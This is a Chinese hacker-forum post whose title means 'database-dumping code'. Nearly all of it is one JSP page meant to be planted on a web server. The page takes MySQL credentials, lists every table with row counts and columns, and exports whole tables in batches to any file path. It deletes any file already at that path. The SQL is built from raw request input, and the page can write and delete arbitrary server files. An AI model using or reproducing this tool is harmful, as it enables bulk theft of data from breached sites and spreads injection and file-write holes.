搜索
查看: 258|回复: 0

JSP+MySQL脱裤代码

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-8-11 01:09:45 | 显示全部楼层 |阅读模式










保存路径的时候,最好写 绝对路径。

  1. <%@ page language="java" import="java.util.*,java.sql.*,java.io.*"
  2.   pageEncoding="utf-8"%>

  3. <%
  4.   String path = request.getContextPath();
  5.   String basePath = request.getScheme() + "://"
  6.       + request.getServerName() + ":" + request.getServerPort()
  7.       + path + "/";
  8. %>

  9. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  10. <html>
  11.   <head>

  12.     <title>Jsp + MySQL</title>
  13.   </head>

  14.   <body>

  15.     <%!public static class Tool {
  16.     public static String strTab(String str, int num) {//补齐24位
  17.       int j = str.length();
  18.       if (str.length() < num) {

  19.         for (int x = j; x < num; x++, j++) {
  20.           str = str + " ";

  21.         }

  22.       }
  23.       return str;
  24.     }
  25.   }

  26.   public class Column {

  27.     private String name;
  28.     private String data;
  29.     private String type;

  30.     public Column() {
  31.     }

  32.     public Column(String name, String type) {
  33.       this.name = name;
  34.       this.type = type;
  35.     }

  36.     public void setName(String name) {
  37.       this.name = name;
  38.     }

  39.     public void setType(String type) {
  40.       this.type = type;
  41.     }

  42.     public void setDate(String date) {
  43.       this.data = date;
  44.     }

  45.     public String getName() {
  46.       return this.name;
  47.     }

  48.     public String getType() {
  49.       return this.type;
  50.     }

  51.     public String getDate() {
  52.       return this.data;
  53.     }

  54.   }

  55.   public class Table {
  56.     private String name;
  57.     private List<Column> column = new ArrayList<Column>();
  58.     private String count;

  59.     public void setCount(String count) {
  60.       this.count = count;
  61.     }

  62.     public String getCount() {
  63.       return this.count;
  64.     }

  65.     public Table() {

  66.     }

  67.     public Table(String name, String count) {
  68.       this.name = name;
  69.       this.count = count;
  70.     }

  71.     public void setName(String name) {
  72.       this.name = name;
  73.     }

  74.     public String getName() {
  75.       return this.name;
  76.     }

  77.     public void setColumn(List<Column> column) {
  78.       this.column = column;
  79.     }

  80.     public List<Column> getColumn() {
  81.       return this.column;
  82.     }
  83.   }

  84.   /*
  85.    数据库连接类
  86.    */
  87.   public class DatabaseConnection {

  88.     private Connection connection;
  89.     private Statement statement;
  90.     private ResultSet res;

  91.     public DatabaseConnection(String url, String username, String password) {
  92.       this.getConnection(url, username, password);
  93.     }

  94.     public Connection getConnection(String url, String username,
  95.         String password) {
  96.       try {
  97.         Class.forName("org.gjt.mm.mysql.Driver");
  98.         this.connection = DriverManager.getConnection(url, username,
  99.             password);
  100.       } catch (Exception e) {
  101.         e.printStackTrace();
  102.       }
  103.       return this.connection;
  104.     }

  105.     public ResultSet execut(String sql) throws Exception {
  106.       this.statement = this.connection.createStatement();
  107.      
  108.       this.res = this.statement.executeQuery(sql);
  109.       return this.res;
  110.     }

  111.     public void close() {
  112.       if (this.connection != null) {
  113.         try {
  114.           this.connection.close();
  115.         } catch (SQLException e) {
  116.           e.printStackTrace();
  117.         }
  118.       }
  119.     }
  120.   }%>

  121.     <%
  122.       String submit = request.getParameter("submit");

  123.       String b = request.getParameter("b"); //标志位,是否是导出数据

  124.       if (submit == null || "".equals(submit)) {
  125.     %>

  126.     <form method="post" action="#">
  127.       database:
  128.       <input type="text" value="" name="db" />
  129.       <br />
  130.       username:
  131.       <input type="text" value="" name="username" />
  132.       <br />
  133.       password:
  134.       <input type="text" value="" name="password" />
  135.       <br />
  136.           port:
  137.       <input type="text" value="3306" name="port" />
  138.       <br />
  139.                            
  140.       <input type="submit" value="submit" name="submit" />
  141.       <br />

  142.     </form>


  143.     <%
  144.       } else if (b == null || "".equals(b)) {
  145.         String db = request.getParameter("db");
  146.         String username = request.getParameter("username");
  147.         String password = request.getParameter("password");
  148.         String port = request.getParameter("port");
  149.         String url = "jdbc:mysql://localhost:" + port + "/" + db; //连接字符串

  150.         request.getSession().setAttribute("username", username);
  151.         request.getSession().setAttribute("password", password);
  152.         request.getSession().setAttribute("url", url);

  153.         String sql = "select table_name from information_schema.TABLES where table_schema=(select DATABASE());"; //查出当前库所有表
  154.         DatabaseConnection dbc = new DatabaseConnection(url, username,
  155.             password);
  156.         ResultSet res = dbc.execut(sql);
  157.         List<Table> table = new ArrayList<Table>(); //存放所有的表
  158.         while (res.next()) {

  159.           String tablename = res.getString(1);
  160.           String sqlcount = "select count(*) from " + tablename;
  161.           ResultSet temp = dbc.execut(sqlcount);
  162.           if (temp.next()) {
  163.             sqlcount = temp.getString(1);
  164.           }

  165.           table.add(new Table(res.getString(1), sqlcount));
  166.           temp.close();
  167.         }
  168.         res.close(); //关闭资源   
  169.         for (Table t : table) {

  170.           String tsql = "select COLUMN_NAME ,DATA_TYPE from information_schema.COLUMNS where TABLE_NAME='"
  171.               + t.getName() + "'"; // 查询表结构
  172.           ResultSet tres = dbc.execut(tsql);

  173.           while (tres.next()) {
  174.             t.getColumn()
  175.                 .add(
  176.                     new Column(tres.getString(1), tres
  177.                         .getString(2)));
  178.           }

  179.         }
  180.         request.setAttribute("table", table);
  181.         res.close();
  182.         dbc.close();

  183.         for (Table t : table) {
  184.           out.print("<div style="float:left;padding-left:30px">");
  185.           out.print("+------------------------+<br/>");
  186.           out.print("|"
  187.               + Tool.strTab(
  188.                   t.getName() + " ---> " + t.getCount(), 24)
  189.               + "|<br/>");
  190.           out.print("+------------------------+<br/>");
  191.           out.print("| " + Tool.strTab("Column", 10) + "| "
  192.               + Tool.strTab("Type", 11) + "|<br/>");
  193.           out.print("+-----------+------------+<br/>");
  194.           for (Column c : t.column) {

  195.             out.print("| " + Tool.strTab(c.getName(), 10) + "| "
  196.                 + Tool.strTab(c.getType(), 11) + "|<br/>");
  197.             out.print("+-----------+------------+<br/>");

  198.           }
  199.           out.print("</div>");

  200.         }
  201.     %>

  202.     <!-- 开始进行数据导出的HTML数据 -->
  203.     <form method="post" action="#">
  204.       <br style="clear: left" />
  205.       <hr style="float: none" />

  206.       表名:     
  207.       <input type="text" name="table" />
  208.       <br />
  209.       列名:     
  210.       <input type="text" value="*" name="colums" />
  211.       以逗号隔开(英文),默认为*
  212.       <br />
  213.       分行:     
  214.       <input type="text" value="5000" name="row" />
  215.       每次查询多少条?默认每次5000条
  216.       <br />

  217.       <input type="hidden" name="b" value="b" />

  218.       保存路径:
  219.       <input type="text" value="" name="path" />
  220.       <br />
  221.                   
  222.       <input type="submit" value="开始导出" name="submit" />

  223.     </form>
  224.     <%
  225.       } else {

  226.         String table = request.getParameter("table").trim();
  227.         String colums = request.getParameter("colums").trim();
  228.         String row = request.getParameter("row").trim();
  229.         String filePath = request.getParameter("path").trim();
  230.         String sql = "select " + colums + " from " + table;
  231.         int index = 0;
  232.         if (row == null || "".equals(row)) {
  233.           index = 10000; //默认10000条每次
  234.         } else {
  235.           index = Integer.parseInt(row);
  236.         }

  237.         String url = (String) request.getSession().getAttribute("url");
  238.         String username = (String) request.getSession().getAttribute(
  239.             "username");
  240.         String password = (String) request.getSession().getAttribute(
  241.             "password");
  242.         DatabaseConnection dbc = new DatabaseConnection(url, username,
  243.             password);

  244.         String sqlcount = "select count(*) from " + table;
  245.         ResultSet res = dbc.execut(sqlcount);
  246.         int count = 0;
  247.         if (res.next()) {
  248.           count = res.getInt(1);
  249.         }
  250.         res.close();

  251.         //开始执行SQL语句
  252.         //1、先进行判断是否是* ,如果是的话就进行查询表结构..

  253.         if (colums.trim().length() == 1) {

  254.           String temp = "select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='"
  255.               + table + "'";
  256.           ResultSet tempr = dbc.execut(temp);
  257.           colums ="";
  258.           while (tempr.next()) {
  259.             colums += tempr.getString(1) + ",";
  260.           }
  261.           tempr.close();
  262.           colums = colums.substring(0, colums.length() - 1);
  263.         }
  264.         String c[] = colums.split(",");  //或去所有列
  265.          
  266.          
  267.         if(new File(filePath).exists()){
  268.           new File(filePath).delete();  //如果文件存在就删除..
  269.         }
  270.          
  271.          
  272.         FileWriter fw = new FileWriter(filePath,true);
  273.          
  274.          for(String t:c){
  275.            fw.write(t+"\t\t");
  276.          }
  277.          fw.write("\r\n");
  278.          fw.flush();
  279.          out.print("开始导出数据:共"+count+"条<br/>");
  280.          int j=0;
  281.         for (int x = 0; x < count; x += index) {

  282.           String rsql = "select " + colums + " from " + table + " limit "
  283.               + x + "," + index;
  284.           ResultSet rs = dbc.execut(rsql);

  285.           while (rs.next()) {
  286.             String tempdate = "";
  287.             
  288.             for(String it : c){
  289.       
  290.               // tempdate +=  rs.getString(it)+"\t";  //得到每条数据
  291.               try{
  292.                 tempdate +=rs.getString(it)+"\t\t";
  293.                  
  294.               }catch(Exception e){
  295.                
  296.               }
  297.             }
  298.              fw.write(tempdate+"\r\n");
  299.              j++;
  300.           }
  301.            
  302.           if(j%10000==0){
  303.             out.print("正在导出 :"+j+"条<br/>");
  304.             out.flush();
  305.           }
  306.            
  307.           fw.flush();
  308.         }
  309.         out.print("已导出 :"+j+"条<br/>");
  310.         out.print("导出完毕...Good !!");
  311.         fw.close();
  312.         dbc.close();
  313.       }
  314.     %>
  315.   </body>
  316. </html>
复制代码



过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表